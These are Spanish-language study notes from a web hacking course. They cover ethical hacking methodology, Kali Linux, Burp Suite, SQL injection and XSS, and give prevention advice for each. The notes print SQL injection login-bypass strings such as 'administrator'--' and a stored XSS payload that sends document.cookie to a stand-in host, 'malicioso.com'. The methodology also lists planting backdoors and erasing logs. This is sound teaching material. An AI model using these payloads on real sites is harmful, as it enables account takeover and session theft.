**Web Hacking**

Link curso:

<https://www.youtube.com/watch?v=6tvu7MKrTfU&list=PLOtdBnrzjwiqZz5ATLVHyjNi7vXdj93GJ>

La metodología de hacking ético implica un enfoque estructurado y autorizado para evaluar la seguridad de los sistemas informáticos y redes, identificando y remediando vulnerabilidades antes de que los atacantes malintencionados puedan explotarlas. Aquí tienes un desglose de los pasos típicos en una metodología de hacking ético:

### 1. \*\*Planeación y Reconocimiento:\*\*

- \*\*Definición de objetivos:\*\* Determinar qué sistemas, redes o aplicaciones serán evaluados.

- \*\*Alcance:\*\* Establecer los límites del testeo para evitar cualquier acción no autorizada.

- \*\*Recolección de información:\*\* Obtener datos sobre los objetivos usando herramientas y técnicas como WHOIS, Nmap, y técnicas de OSINT (Open Source Intelligence).

### 2. \*\*Exploración y Escaneo:\*\*

- \*\*Escaneo de puertos:\*\* Utilizar herramientas como Nmap para identificar puertos abiertos y servicios que se ejecutan en el objetivo.

- \*\*Identificación de vulnerabilidades:\*\* Utilizar escáneres de vulnerabilidades como Nessus, OpenVAS o Nikto para detectar posibles debilidades en los sistemas.

### 3. \*\*Gaining Access (Ganar Acceso):\*\*

- \*\*Explotación:\*\* Emplear exploits conocidos (a veces desarrollados internamente) para explotar vulnerabilidades identificadas en la fase de escaneo.

- \*\*Elevación de privilegios:\*\* Intentar obtener mayores privilegios dentro del sistema comprometido, por ejemplo, de un usuario normal a un administrador.

### 4. \*\*Mantener el Acceso (Maintaining Access):\*\*

- \*\*Instalación de puertas traseras:\*\* Configurar backdoors o crear cuentas de usuario ocultas para mantener el acceso durante el tiempo necesario para completar la evaluación.

- \*\*Movimiento lateral:\*\* Navegar y explorar otros sistemas dentro de la red comprometida.

### 5. \*\*Cubrir las Huellas (Covering Tracks):\*\*

- \*\*Borrado de logs:\*\* Eliminar o modificar registros del sistema para evitar la detección.

- \*\*Ofuscación de actividad:\*\* Utilizar técnicas para disfrazar la presencia y acciones del hacker ético.

### 6. \*\*Análisis y Reporte:\*\*

- \*\*Documentación:\*\* Registrar todas las acciones realizadas, vulnerabilidades encontradas y datos obtenidos.

- \*\*Evaluación de impacto:\*\* Determinar el impacto potencial de las vulnerabilidades explotadas.

- \*\*Recomendaciones:\*\* Proporcionar recomendaciones detalladas para la remediación de las vulnerabilidades y mejoras en la seguridad.

### 7. \*\*Remediación:\*\*

- \*\*Asistencia en la corrección:\*\* Ayudar al equipo de TI a cerrar las vulnerabilidades y asegurar los sistemas.

- \*\*Reevaluación:\*\* Realizar pruebas adicionales para confirmar que las vulnerabilidades han sido correctamente mitigadas.

### 8. \*\*Seguimiento:\*\*

- \*\*Monitoreo continuo:\*\* Implementar soluciones para la vigilancia constante de la seguridad del sistema.

- \*\*Actualización de medidas de seguridad:\*\* Asegurarse de que las políticas y herramientas de seguridad se mantengan al día con las amenazas emergentes.

### Herramientas Comunes Utilizadas:

- \*\*Nmap:\*\* Para el escaneo de puertos y mapeo de la red.

- \*\*Wireshark:\*\* Para el análisis de tráfico de red.

- \*\*Metasploit:\*\* Para desarrollar y ejecutar exploits.

- \*\*Burp Suite:\*\* Para pruebas de seguridad de aplicaciones web.

- \*\*John the Ripper:\*\* Para el cracking de contraseñas.

La práctica de hacking ético requiere no solo conocimientos técnicos avanzados, sino también un fuerte sentido ético y legal, ya que todas las actividades deben ser realizadas con el consentimiento explícito del propietario del sistema.

link descarga virtualbox:

<https://www.virtualbox.org/>

VirtualBox es una herramienta de virtualización de código abierto y gratuita desarrollada por Oracle. Permite a los usuarios ejecutar múltiples sistemas operativos simultáneamente en un solo equipo físico. Aquí tienes un resumen de sus características y usos:

Características principales de VirtualBox:

1. Multiplataforma:

- VirtualBox es compatible con varios sistemas operativos host, incluyendo Windows, macOS, Linux y Solaris.

2. Soporte para múltiples sistemas operativos invitados:

- Puedes ejecutar una amplia variedad de sistemas operativos como invitados, incluyendo diversas versiones de Windows, Linux, BSD, Solaris y otros.

3. Interfaz gráfica y línea de comandos:

- Ofrece una interfaz gráfica de usuario intuitiva, así como una potente interfaz de línea de comandos para usuarios avanzados.

4. Instantáneas (Snapshots):

- Permite tomar instantáneas del estado actual de una máquina virtual, lo que facilita la recuperación en caso de errores o la experimentación sin riesgos.

5. Integración de dispositivos:

- Soporta la integración de dispositivos USB, carpetas compartidas y la capacidad de arrastrar y soltar archivos entre el sistema host y el invitado.

6. Redes:

- Ofrece varias opciones de configuración de red, como NAT, redes internas, adaptadores puenteados y más, lo que permite configurar entornos de red complejos.

7. Extensiones y complementos:

- VirtualBox admite paquetes de extensión que pueden agregar funcionalidades adicionales, como soporte para dispositivos USB 2.0 y 3.0, Remote Desktop Protocol (RDP) y más.

Usos comunes de VirtualBox:

1. Desarrollo y prueba de software:

- Los desarrolladores pueden utilizar VirtualBox para probar su software en diferentes sistemas operativos sin necesidad de hardware adicional.

2. Educación y aprendizaje:

- Ideal para estudiantes y profesionales que desean aprender y experimentar con diferentes sistemas operativos y configuraciones de red.

3. Seguridad y aislamiento:

- Permite ejecutar aplicaciones potencialmente peligrosas en un entorno aislado, protegiendo el sistema operativo principal.

4. Ejecutar aplicaciones específicas:

- Algunos usuarios utilizan máquinas virtuales para ejecutar aplicaciones que solo son compatibles con un sistema operativo diferente al de su máquina principal.

Ventajas de VirtualBox:

- Gratuito y de código abierto: No tiene costo y el código fuente está disponible para ser modificado y mejorado.

- Versatilidad: Compatible con una amplia gama de sistemas operativos y hardware.

- Facilidad de uso: La interfaz de usuario es amigable y fácil de usar, incluso para principiantes.

- Comunidad activa: Una gran cantidad de recursos, foros y documentación disponibles en línea.

VirtualBox es una solución poderosa y flexible para la virtualización, adecuada tanto para usuarios individuales como para empresas que buscan optimizar su infraestructura tecnológica.

Kali Linux.

Link descarga:

<https://www.kali.org/>

Kali Linux es una distribución de Linux basada en Debian, diseñada principalmente para la seguridad informática y pruebas de penetración. Es desarrollada y mantenida por Offensive Security. Aquí tienes un resumen de sus características y usos principales:

Características Principales:

1. Herramientas de Seguridad:

- Kali Linux incluye una amplia gama de herramientas de seguridad y forense. Estas herramientas cubren varias tareas, como análisis de vulnerabilidades, análisis de redes, ingeniería inversa, y más.

- Entre las herramientas más conocidas se encuentran Nmap, Wireshark, John the Ripper, Aircrack-ng, Metasploit Framework, Burp Suite, y muchos más.

2. Facilidad de Instalación:

- Kali se puede instalar en diversas plataformas, incluyendo máquinas físicas, máquinas virtuales (VMware, VirtualBox), y se puede ejecutar como un Live CD o USB.

3. Soporte de Hardware:

- Kali Linux está diseñado para soportar una amplia gama de hardware, incluyendo dispositivos ARM y Raspberry Pi.

4. Seguridad y Privacidad:

- Kali se enfoca en mantener la privacidad y seguridad del usuario. Ofrece herramientas para anonimato y permite la ejecución de pruebas de penetración sin dejar rastros.

5. Actualizaciones y Mantenimiento:

- La distribución recibe actualizaciones frecuentes para asegurar que todas las herramientas estén al día y para incluir nuevas herramientas de seguridad que surjan en el campo.

6. Personalización:

- Los usuarios pueden personalizar su entorno de Kali Linux para ajustarlo a sus necesidades específicas, ya sea para pruebas de penetración, análisis forense, o cualquier otra tarea de seguridad.

Usos Comunes:

1. Pruebas de Penetración:

- Kali es ampliamente utilizado por profesionales de seguridad para realizar pruebas de penetración en redes y sistemas, identificando y explotando vulnerabilidades.

2. Análisis Forense:

- Las herramientas de Kali permiten realizar análisis forense digital, recuperando datos y analizando actividades en sistemas comprometidos.

3. Investigación de Seguridad:

- Es una plataforma ideal para investigadores de seguridad que necesitan un entorno robusto y actualizado para descubrir nuevas vulnerabilidades y desarrollar exploits.

4. Educación y Entrenamiento:

- Kali se usa en programas educativos y de entrenamiento para enseñar conceptos de ciberseguridad y prácticas de pruebas de penetración.

5. Hackeo Ético:

- Los hackers éticos utilizan Kali para identificar y reparar vulnerabilidades en sistemas, mejorando la seguridad de las organizaciones para las que trabajan.

Historia y Desarrollo:

- Kali Linux es el sucesor de BackTrack, una distribución de Linux también enfocada en la seguridad. Fue lanzado en marzo de 2013.

- Offensive Security, la organización detrás de Kali, es conocida por sus cursos y certificaciones en seguridad informática, como el OSCP (Offensive Security Certified Professional).

Kali Linux es una herramienta poderosa y flexible para profesionales de la seguridad, pero también requiere un uso responsable y ético. Su conocimiento y uso adecuado puede contribuir significativamente a la seguridad de sistemas y redes en todo el mundo.

Burpsuite.

Burp Suite es una herramienta de seguridad de aplicaciones web desarrollada por PortSwigger. Es muy popular entre los profesionales de la seguridad informática y los testers de penetración (pentesters) debido a sus capacidades avanzadas para encontrar y explotar vulnerabilidades en aplicaciones web. Aquí te doy una visión general de sus características y funcionalidades:

Características principales de Burp Suite:

1. Proxy de Interceptación:

- Burp Suite actúa como un proxy entre el navegador web y el servidor objetivo, permitiendo a los usuarios interceptar, inspeccionar y modificar las solicitudes y respuestas HTTP/HTTPS.

2. Escáner de Vulnerabilidades:

- Incluye un escáner de vulnerabilidades que puede detectar una amplia gama de problemas de seguridad, como inyecciones SQL, cross-site scripting (XSS), y más.

3. Intruder:

- Una herramienta para realizar ataques automáticos y repetitivos a aplicaciones web, útil para pruebas de fuerza bruta y para encontrar puntos débiles en la lógica de la aplicación.

4. Repeater:

- Permite modificar y reenviar solicitudes HTTP de forma manual para probar diferentes entradas y observar cómo responde el servidor.

5. Sequencer:

- Analiza la aleatoriedad de los tokens generados por la aplicación para evaluar la calidad de la generación de números aleatorios y la seguridad de las sesiones.

6. Decoder:

- Permite decodificar y codificar datos en varios formatos, facilitando el análisis de datos codificados.

7. Comparer:

- Comparar dos conjuntos de datos para identificar diferencias. Útil para comparar respuestas de la aplicación bajo diferentes condiciones.

8. Extensibilidad:

- Burp Suite tiene una API que permite a los usuarios crear sus propias extensiones en Java, Python o Ruby. También hay un BApp Store donde se pueden encontrar extensiones adicionales creadas por la comunidad.

Ediciones de Burp Suite:

1. Community Edition:

- Es gratuita y proporciona muchas de las herramientas básicas necesarias para la prueba de penetración de aplicaciones web. Sin embargo, carece de algunas de las características avanzadas disponibles en las versiones de pago.

2. Professional Edition:

- Es una versión de pago que incluye todas las características avanzadas, como el escáner de vulnerabilidades completo, Burp Intruder avanzado, y soporte técnico.

3. Enterprise Edition:

- Diseñada para pruebas de seguridad automatizadas en grandes organizaciones. Incluye capacidades de integración continua (CI) y herramientas para la administración de pruebas a gran escala.

Uso típico de Burp Suite:

1. Configurar el Proxy:

- Configurar el navegador para que utilice Burp Suite como proxy, lo que permite interceptar y modificar el tráfico.

2. Explorar la Aplicación:

- Navegar por la aplicación web para que Burp Suite capture todas las solicitudes y respuestas HTTP.

3. Escaneo y Pruebas:

- Utilizar las herramientas como el escáner de vulnerabilidades y Burp Intruder para identificar y explotar posibles fallos de seguridad.

4. Análisis y Reporte:

- Analizar los resultados, documentar las vulnerabilidades encontradas y generar informes detallados.

Recursos de Aprendizaje:

- Documentación Oficial: La documentación de PortSwigger es muy completa y proporciona guías detalladas sobre cómo utilizar todas las características de Burp Suite.

- PortSwigger Academy: Ofrece cursos y laboratorios prácticos gratuitos para aprender a usar Burp Suite y mejorar tus habilidades en seguridad web.

- Comunidad y Foros: Hay una comunidad activa de usuarios de Burp Suite que comparten conocimientos y ayudan a resolver problemas en foros y redes sociales.

Burp Suite es una herramienta esencial para cualquier profesional de la seguridad informática que trabaje con aplicaciones web.

SQL inyection

La inyección SQL (SQL Injection) es una vulnerabilidad de seguridad que permite a un atacante interferir con las consultas que una aplicación hace a su base de datos. Es una de las vulnerabilidades más comunes y peligrosas en las aplicaciones web. Aquí te explico en detalle qué es la inyección SQL, cómo funciona, sus impactos, y cómo prevenirla.

¿Qué es la Inyección SQL?

La inyección SQL ocurre cuando un atacante puede insertar o "inyectar" código SQL malicioso en una consulta que la aplicación web envía a la base de datos. Esto puede permitir al atacante ejecutar comandos SQL arbitrarios, alterar bases de datos, obtener información sensible, y en algunos casos, tomar control del servidor de la base de datos.

¿Cómo Funciona la Inyección SQL?

Para entender cómo funciona, consideremos un ejemplo básico de una aplicación web que permite a los usuarios buscar información sobre productos:

```sql

SELECT \* FROM productos WHERE nombre = 'widget';

```

Si la aplicación no valida adecuadamente la entrada del usuario, un atacante podría manipular la entrada para alterar la consulta SQL. Por ejemplo, si el atacante ingresa el siguiente valor en el campo de búsqueda:

```sql

' OR '1'='1

```

La consulta resultante podría ser:

```sql

SELECT \* FROM productos WHERE nombre = '' OR '1'='1';

```

Esta consulta siempre devolverá todos los registros de la tabla "productos", ya que la condición `'1'='1'` es siempre verdadera.

Tipos de Inyección SQL

1. Inyección SQL Basada en Errores:

- Los atacantes utilizan mensajes de error proporcionados por la base de datos para obtener información sobre la estructura de la base de datos y las consultas SQL utilizadas.

2. Inyección SQL Basada en Union:

- Los atacantes utilizan la cláusula `UNION` para combinar los resultados de múltiples consultas SQL, lo que les permite extraer datos de otras tablas.

3. Inyección SQL Ciega:

- No proporciona mensajes de error detallados. Los atacantes realizan consultas booleanas (verdadero/falso) para inferir información sobre la base de datos.

4. Inyección de Inferencia:

- Similar a la inyección ciega, pero se basa en la observación del comportamiento de la aplicación, como los tiempos de respuesta, para deducir información.

5. Inyección SQL Fuera de Banda (Out-of-band):

- Utiliza métodos alternativos, como las solicitudes HTTP o DNS, para extraer datos cuando las otras formas de inyección no son posibles.

Impactos de la Inyección SQL

- Robo de Datos: Acceso no autorizado a datos sensibles, como información personal, credenciales de usuario, etc.

- Modificación de Datos: Alteración o eliminación de datos en la base de datos.

- Ejecución Remota de Código: En algunos casos, los atacantes pueden ejecutar comandos en el servidor subyacente.

- Compromiso del Sistema: Los atacantes pueden obtener acceso administrativo a la base de datos y posiblemente al sistema operativo del servidor.

Prevención de la Inyección SQL

1. Uso de Consultas Preparadas (Prepared Statements):

- Utilizar consultas preparadas con parámetros en lugar de concatenar directamente las entradas del usuario en las consultas SQL.

2. Validación y Sanitización de Entrada:

- Validar y sanitizar todas las entradas del usuario para asegurarse de que contienen solo datos esperados.

3. Utilizar ORM (Object-Relational Mapping):

- Herramientas ORM como Hibernate, Entity Framework, etc., ayudan a evitar la inyección SQL al abstraer la interacción directa con la base de datos.

4. Principio de Menor Privilegio:

- Asegurarse de que las cuentas de usuario de la base de datos utilizadas por la aplicación tienen los menores privilegios necesarios.

5. Monitoreo y Registro (Logging):

- Monitorear y registrar las actividades sospechosas para detectar posibles intentos de inyección SQL.

6. Actualización y Parcheo Regular:

- Mantener el software de la base de datos y las bibliotecas de la aplicación actualizadas con los últimos parches de seguridad.

Herramientas para Detectar Inyección SQL

- Burp Suite: Como mencioné anteriormente, tiene funcionalidades para detectar vulnerabilidades de inyección SQL.

- SQLMap: Una herramienta de código abierto específicamente diseñada para detectar y explotar inyecciones SQL.

- OWASP ZAP (Zed Attack Proxy): Otra herramienta de seguridad web que puede identificar vulnerabilidades de inyección SQL.

La inyección SQL es una amenaza seria, pero con prácticas de codificación seguras y medidas de prevención adecuadas, es posible proteger las aplicaciones web contra este tipo de ataques.

Obteniendo datos privados.

La expresión `or 1=1--` es un fragmento de código utilizado en ataques de inyección SQL (SQL Injection). Este tipo de ataque se realiza cuando un atacante introduce código malicioso en una consulta SQL con el objetivo de manipular la base de datos de una aplicación.

Aquí te explico más a fondo cómo funciona:

1. \*\*Contexto de Inyección SQL\*\*: Una inyección SQL ocurre cuando una aplicación no valida o escapa adecuadamente las entradas del usuario antes de incluirlas en una consulta SQL. Esto permite a un atacante insertar o manipular consultas SQL.

2. \*\*`or 1=1--`\*\*:

- \*\*`or 1=1`\*\*: Esta parte de la inyección es una condición que siempre es verdadera. En SQL, `1=1` siempre se evalúa como verdadero.

- \*\*`--`\*\*: Este es el comentario en SQL que ignora el resto de la consulta. Todo lo que sigue a `--` en una línea será tratado como un comentario y no ejecutado por el motor SQL.

3. \*\*Ejemplo de Uso\*\*:

- Supongamos que una aplicación tiene una consulta SQL como esta:

```sql

SELECT \* FROM usuarios WHERE usuario = 'admin' AND contraseña = 'password';

```

- Un atacante puede intentar inyectar código malicioso a través de una entrada de usuario. Si el atacante ingresa `admin' or 1=1--`, la consulta se convertiría en:

```sql

SELECT \* FROM usuarios WHERE usuario = 'admin' or 1=1--' AND contraseña = 'password';

```

- Debido a que `or 1=1` es siempre verdadero, la condición `usuario = 'admin' or 1=1` siempre será verdadera, y el resto de la consulta será ignorado por el comentario `--`. Esto resulta en que la consulta devuelva todos los registros de la tabla `usuarios`, eludiendo la autenticación.

4. \*\*Prevención\*\*:

- \*\*Uso de consultas preparadas\*\*: Las consultas preparadas con parámetros evitan la inyección SQL al separar la lógica de la consulta de los datos de entrada.

- \*\*Validación y saneamiento de entrada\*\*: Siempre validar y sanear las entradas del usuario para asegurarse de que no contienen código malicioso.

- \*\*Escapado de caracteres especiales\*\*: Utilizar funciones específicas para escapar caracteres especiales en las entradas del usuario.

La inyección SQL es una vulnerabilidad grave que puede comprometer la seguridad de una aplicación, por lo que es crucial implementar buenas prácticas de seguridad en el desarrollo de software.

La cadena `administrator'--` es otro ejemplo de una técnica de inyección SQL. Vamos a desglosar cómo funciona y cómo se puede utilizar en un ataque de inyección SQL:

1. \*\*Contexto de Inyección SQL\*\*:

- Las inyecciones SQL aprovechan la falta de validación y saneamiento adecuado de las entradas del usuario para manipular las consultas SQL enviadas a una base de datos.

2. \*\*`administrator'--`\*\*:

- \*\*`administrator'`\*\*: Esta parte cierra la cadena de texto en la consulta SQL original.

- \*\*`--`\*\*: Este es el comentario en SQL que ignora el resto de la consulta. Todo lo que sigue a `--` en una línea será tratado como un comentario y no ejecutado por el motor SQL.

3. \*\*Ejemplo de Uso\*\*:

- Supongamos que una aplicación tiene una consulta SQL como esta:

```sql

SELECT \* FROM usuarios WHERE usuario = 'admin' AND contraseña = 'password';

```

- Un atacante puede intentar inyectar código malicioso a través de una entrada de usuario. Si el atacante ingresa `administrator'--`, la consulta se convertiría en:

```sql

SELECT \* FROM usuarios WHERE usuario = 'administrator'--' AND contraseña = 'password';

```

- Aquí, la parte de la consulta `AND contraseña = 'password';` será ignorada debido al comentario `--`. La consulta efectiva se convierte en:

```sql

SELECT \* FROM usuarios WHERE usuario = 'administrator';

```

- Esto significa que si existe un usuario con el nombre `administrator` en la base de datos, el atacante podría obtener acceso sin necesidad de proporcionar una contraseña válida.

4. \*\*Prevención\*\*:

- \*\*Uso de consultas preparadas\*\*: Las consultas preparadas con parámetros evitan la inyección SQL al separar la lógica de la consulta de los datos de entrada.

- \*\*Validación y saneamiento de entrada\*\*: Siempre validar y sanear las entradas del usuario para asegurarse de que no contienen código malicioso.

- \*\*Escapado de caracteres especiales\*\*: Utilizar funciones específicas para escapar caracteres especiales en las entradas del usuario.

- \*\*Uso de ORM\*\*: Los Object-Relational Mappers (ORM) pueden ayudar a abstraer las consultas SQL y manejar la sanitización de datos de manera automática.

Los ataques de inyección SQL pueden tener consecuencias graves, como el acceso no autorizado a datos sensibles, la modificación o eliminación de datos, y la ejecución de operaciones administrativas en la base de datos. Por eso es crucial implementar prácticas de seguridad adecuadas para proteger las aplicaciones contra estos ataques.

El Cross-Site Scripting reflejado (Reflected XSS) es una forma de vulnerabilidad de seguridad web en la que un atacante inyecta un script malicioso en una aplicación web y este se refleja de inmediato en la respuesta del servidor, afectando a los usuarios que interactúan con la aplicación. Este tipo de ataque se basa en la falta de validación y saneamiento adecuado de las entradas del usuario y es una de las variantes más comunes de XSS.

### Cómo Funciona un Ataque de XSS Reflejado

1. \*\*Inyección del Script\*\*:

- El atacante encuentra una entrada vulnerable en la aplicación web, como un campo de búsqueda, un formulario, o una URL que procesa parámetros.

- El atacante inyecta un script malicioso en esta entrada.

2. \*\*Reflejo del Script\*\*:

- La aplicación web procesa la entrada y refleja el contenido inyectado en la respuesta HTML enviada al navegador del usuario sin validación o saneamiento adecuado.

3. \*\*Ejecución del Script\*\*:

- El script malicioso se ejecuta en el navegador del usuario cuando visita la URL maliciosa o interactúa con la entrada vulnerable.

4. \*\*Consecuencias del Ataque\*\*:

- El script puede robar cookies, capturar información sensible, redirigir al usuario a sitios maliciosos, o realizar acciones en nombre del usuario.

### Ejemplo de Ataque de XSS Reflejado

Supongamos que una aplicación web tiene un formulario de búsqueda que refleja el término de búsqueda ingresado en la página de resultados. La URL para buscar podría ser algo así:

```

http://ejemplo.com/buscar?q=consulta

```

El atacante podría inyectar un script malicioso en el parámetro de búsqueda:

```

http://ejemplo.com/buscar?q=<script>alert('XSS');</script>

```

Si la aplicación web refleja la entrada del usuario sin sanitizarla adecuadamente, el resultado podría ser:

```html

<!DOCTYPE html>

<html>

<head>

<title>Resultados de búsqueda</title>

</head>

<body>

<h1>Resultados para: <script>alert('XSS');</script></h1>

<!-- Más contenido -->

</body>

</html>

```

Cuando el usuario visita esta URL, el script inyectado (`<script>alert('XSS');</script>`) se ejecutará en su navegador, mostrando una alerta con el mensaje 'XSS'.

### Prevención de XSS Reflejado

1. \*\*Escapado de Salidas\*\*:

- Asegúrate de escapar todas las salidas de datos antes de insertarlas en el HTML. Utiliza funciones específicas para escapar datos en HTML, JavaScript, CSS, y URLs.

2. \*\*Validación y Sanitización de Entradas\*\*:

- Valida y sanitiza todas las entradas del usuario tanto en el cliente como en el servidor. Utiliza listas blancas para permitir solo los caracteres esperados y elimina o codifica cualquier entrada sospechosa.

3. \*\*Uso de Librerías y Frameworks Seguros\*\*:

- Utiliza librerías y frameworks que manejen de manera segura las entradas del usuario y proporcionen funciones de escape y sanitización automáticas.

4. \*\*Content Security Policy (CSP)\*\*:

- Implementa una política de seguridad de contenido (CSP) para limitar las fuentes desde las cuales el navegador puede cargar scripts. Esto puede ayudar a mitigar el impacto de un ataque XSS al restringir la ejecución de scripts no autorizados.

### Conclusión

El XSS reflejado es una vulnerabilidad grave que puede comprometer la seguridad y privacidad de los usuarios de una aplicación web. Es fundamental implementar buenas prácticas de desarrollo seguro y utilizar herramientas de validación y sanitización adecuadas para proteger las aplicaciones contra estos ataques.

El Cross-Site Scripting almacenado (Stored XSS) es una forma más peligrosa de vulnerabilidad de seguridad web en la que el script malicioso inyectado por un atacante se almacena permanentemente en el servidor de la aplicación. Este tipo de XSS es especialmente peligroso porque afecta a todos los usuarios que acceden al contenido comprometido.

### Cómo Funciona un Ataque de XSS Almacenado

1. \*\*Inyección del Script\*\*:

- El atacante encuentra un punto de entrada en la aplicación web donde puede almacenar datos, como un campo de comentario, un formulario de revisión, o cualquier otro campo de entrada que se almacene en una base de datos.

- El atacante inyecta un script malicioso en esta entrada.

2. \*\*Almacenamiento del Script\*\*:

- La aplicación web almacena la entrada del usuario (que contiene el script malicioso) en el servidor, por ejemplo, en una base de datos.

3. \*\*Ejecución del Script\*\*:

- Cuando otros usuarios visitan la página que contiene el contenido almacenado (por ejemplo, al ver comentarios o revisiones), el script malicioso se ejecuta en sus navegadores.

4. \*\*Consecuencias del Ataque\*\*:

- El script puede robar cookies, capturar información sensible, redirigir al usuario a sitios maliciosos, o realizar acciones en nombre del usuario.

### Ejemplo de Ataque de XSS Almacenado

Imagina que una aplicación web permite a los usuarios dejar comentarios en los artículos. Un atacante podría inyectar un script malicioso en el campo de comentarios:

```html

<script>document.location='http://malicioso.com/robar?cookie='+document.cookie;</script>

```

El atacante envía este comentario, y la aplicación lo almacena en su base de datos sin sanitizarlo adecuadamente. Cuando otros usuarios ven el artículo y los comentarios, el script malicioso se ejecuta en sus navegadores:

```html

<!DOCTYPE html>

<html>

<head>

<title>Artículo</title>

</head>

<body>

<h1>Artículo Interesante</h1>

<p>Contenido del artículo...</p>

<h2>Comentarios</h2>

<div class="comentario">

<p><script>document.location='http://malicioso.com/robar?cookie='+document.cookie;</script></p>

</div>

</body>

</html>

```

Cada vez que un usuario ve este comentario, su navegador ejecuta el script y envía sus cookies al sitio malicioso.

### Prevención de XSS Almacenado

1. \*\*Escapado de Salidas\*\*:

- Siempre escapa las salidas de datos antes de insertarlas en el HTML. Utiliza funciones específicas para escapar datos en HTML, JavaScript, CSS y URLs.

2. \*\*Validación y Sanitización de Entradas\*\*:

- Valida y sanitiza todas las entradas del usuario tanto en el cliente como en el servidor. Utiliza listas blancas para permitir solo los caracteres esperados y elimina o codifica cualquier entrada sospechosa.

3. \*\*Uso de Librerías y Frameworks Seguros\*\*:

- Utiliza librerías y frameworks que manejen de manera segura las entradas del usuario y proporcionen funciones de escape y sanitización automáticas.

4. \*\*Content Security Policy (CSP)\*\*:

- Implementa una política de seguridad de contenido (CSP) para limitar las fuentes desde las cuales el navegador puede cargar scripts. Esto puede ayudar a mitigar el impacto de un ataque XSS al restringir la ejecución de scripts no autorizados.

5. \*\*Revisión y Pruebas de Seguridad\*\*:

- Realiza revisiones y pruebas de seguridad periódicas en tu aplicación para identificar y corregir posibles vulnerabilidades de XSS.

### Conclusión

El XSS almacenado es una vulnerabilidad crítica que puede afectar gravemente la seguridad y privacidad de los usuarios de una aplicación web. Implementar buenas prácticas de desarrollo seguro, junto con validación y sanitización adecuadas de las entradas del usuario, es esencial para proteger las aplicaciones contra este tipo de ataques.